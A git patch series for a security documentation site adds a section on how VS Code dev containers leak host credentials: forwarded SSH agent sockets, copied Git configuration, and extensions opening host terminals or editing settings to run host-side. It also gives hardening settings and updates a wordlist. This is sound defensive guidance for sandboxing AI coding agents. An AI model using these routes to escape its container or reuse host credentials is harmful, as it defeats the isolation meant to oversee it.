[OpenCode permissions](https://opencode.ai/docs/permissions/) +- [Run OpenCode in a Docker container](https://docs.docker.com/ai/sandboxes/agents/opencode/) - [Trail of Bits claude-code-devcontainer](https://github.com/trailofbits/claude-code-devcontainer) - [VS Code: Developing inside a Container](https://code.visualstudio.com/docs/devcontainers/containers) - [NIST SP 800-190, *Application Container Security Guide*](https://csrc.nist.gov/pubs/sp/800/190/final) From 968f29de6b54f69de3659e08ee4532cddda9fce0 Mon Sep 17 00:00:00 2001 From: solsr Date: Mon, 25 May 2026 15:58:31 -0700 Subject: [PATCH 19/20] remote extension trust model --- .../developer-machine-sandboxing.mdx | 32 ++++++++++++++++++- 1 file changed, 31 insertions(+), 1 deletion(-) diff --git a/docs/pages/devsecops/isolation/developer-machine-sandboxing.mdx b/docs/pages/devsecops/isolation/developer-machine-sandboxing.mdx index 5e0b0ee9..381cc0e3 100644 --- a/docs/pages/devsecops/isolation/developer-machine-sandboxing.mdx +++ b/docs/pages/devsecops/isolation/developer-machine-sandboxing.mdx @@ -153,7 +153,7 @@ For a more controllable baseline, run OpenCode inside the hardened dev container ## VS Code dev containers -Dev containers run VS Code and every extension installed into it (including AI coding agents) inside a Docker container. The container only sees what you explicitly mount. SSH keys, AWS credentials, and anything else under `~` stays on the host. +Dev containers run VS Code and every extension installed into it (including AI coding agents) inside a Docker container. The container's filesystem only sees what you explicitly mount, but the isolation is leakier than it looks: the Remote extension that makes dev containers work forwards your SSH and GPG agent sockets and copies your Git configuration into the container by default, effectively handing the container your host credentials without ever mounting the files. See the trust-model section below before treating a dev container as a security boundary. **Baseline `.devcontainer/devcontainer.json`**: @@ -176,6 +176,33 @@ Dev containers run VS Code and every extension installed into it (including AI c - Single `workspaceMount`: the host filesystem outside the project directory is not visible - Container memory can also be restricted to prevent software running inside a container from crashing the computer. +### The Remote extension trust model + +Dev containers are powered by VS Code's Remote extension, which deploys a `vscode-server` agent inside the container and links it to the host IDE over an RPC channel. That bridge undermines the container boundary by design: + +- **Forwarded SSH agent.** If you have an `ssh-agent` running, the Dev Containers extension forwards it into the container automatically and sets `SSH_AUTH_SOCK`. Any process inside can then ask your host agent to authenticate (`ssh-add -L` to list keys, then pivot to other hosts) without ever reading the key files. A passphrase only protects the initial unlock; once the agent has cached the key, it signs silently. (GPG commit signing is *not* forwarded automatically; it requires extra setup inside the container.) +- **Copied Git configuration.** Your host `~/.gitconfig`, including `user.signingkey` and `credential.helper`, is copied in by default. This enables commit signing and push auth seamlessly, but also allows impersonation and credential reuse. +- **Host terminal access from extensions.** A workspace extension running inside the container can call `workbench.action.terminal.newLocal` and `sendSequence` to open a terminal on the *host* and run arbitrary commands. This is a container-to-host RCE path that needs no exploit; it is part of the API. +- **Extension-host manipulation.** `.vscode/settings.json` and `.devcontainer/devcontainer.json` live in the bind-mounted workspace, so a workspace extension can edit them to inject `remote.extensionKind` overrides, then call `workbench.action.reloadWindow`. The host applies the poisoned config on reload, shifting an extension to run host-side. + +Secure credentials by clearing the forwarded sockets and disabling the Git-config copy in `devcontainer.json`: + +```json +{ + "remoteEnv": { + "SSH_AUTH_SOCK": "", + "GIT_ASKPASS": "" + }, + "settings": { + "dev.containers.copyGitConfig": false + } +} +``` + +These disable the SSH agent forwarding and Git-config copy. They do **not** address the host-terminal RCE path; that is only contained by trusting every extension installed in the workspace, so review extensions the same way you would review a dependency. + +With forwarding off, run `git push` and commit signing from a host terminal (the workspace is bind-mounted, so the files are identical), or scope the container to a single-repo token rather than your full agent. + ### Limitations Dev containers aren't designed as security sandboxes; convenience shortcuts dominate the defaults. Three things to fix: @@ -194,6 +221,9 @@ Trail of Bits has published a hardened devcontainer at [trailofbits/claude-code- - [Run OpenCode in a Docker container](https://docs.docker.com/ai/sandboxes/agents/opencode/) - [Trail of Bits claude-code-devcontainer](https://github.com/trailofbits/claude-code-devcontainer) - [VS Code: Developing inside a Container](https://code.visualstudio.com/docs/devcontainers/containers) +- [The Red Guild, *Leveraging VSCode Internals to Escape Containers*](https://blog.theredguild.org/leveraging-vscode-internals-to-escape-containers/) +- [Calif, *"Vibe Hacking": Abusing Developer Trust in Cursor and VS Code Remote Development*](https://blog.calif.io/p/vibe-hacking-abusing-developer-trust) +- [Fly.io, *VSCode's SSH Agent Is Bananas*](https://fly.io/blog/vscode-ssh-wtf/) - [NIST SP 800-190, *Application Container Security Guide*](https://csrc.nist.gov/pubs/sp/800/190/final) - [Docker, *Docker Engine Security*](https://docs.docker.com/engine/security/) From 37ab6bf96730c1df9afd584b4f45d2cc2ec36693 Mon Sep 17 00:00:00 2001 From: Elliot Date: Mon, 25 May 2026 16:02:46 -0700 Subject: [PATCH 20/20] update wordlist to include tob, unsandboxed, exfiltrates and Daytona --- wordlist.txt | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/wordlist.txt b/wordlist.txt index 486544e0..ab02553a 100644 --- a/wordlist.txt +++ b/wordlist.txt @@ -62,6 +62,7 @@ Cyfrin Cypherock dapp Darknet +Daytona DCAP Deauthorize debevoise @@ -106,6 +107,7 @@ erc Ethlint Excalidraw exfiltrated +exfiltrates Exfiltrating exfiltration Fábrega @@ -328,6 +330,7 @@ TLSA TOS TOTP TPM +trailofbits triaging trojanized Tuta @@ -343,6 +346,7 @@ uncompromised unproxied Unrekt unreviewed +Unsandboxed unstake unstaking unvalidated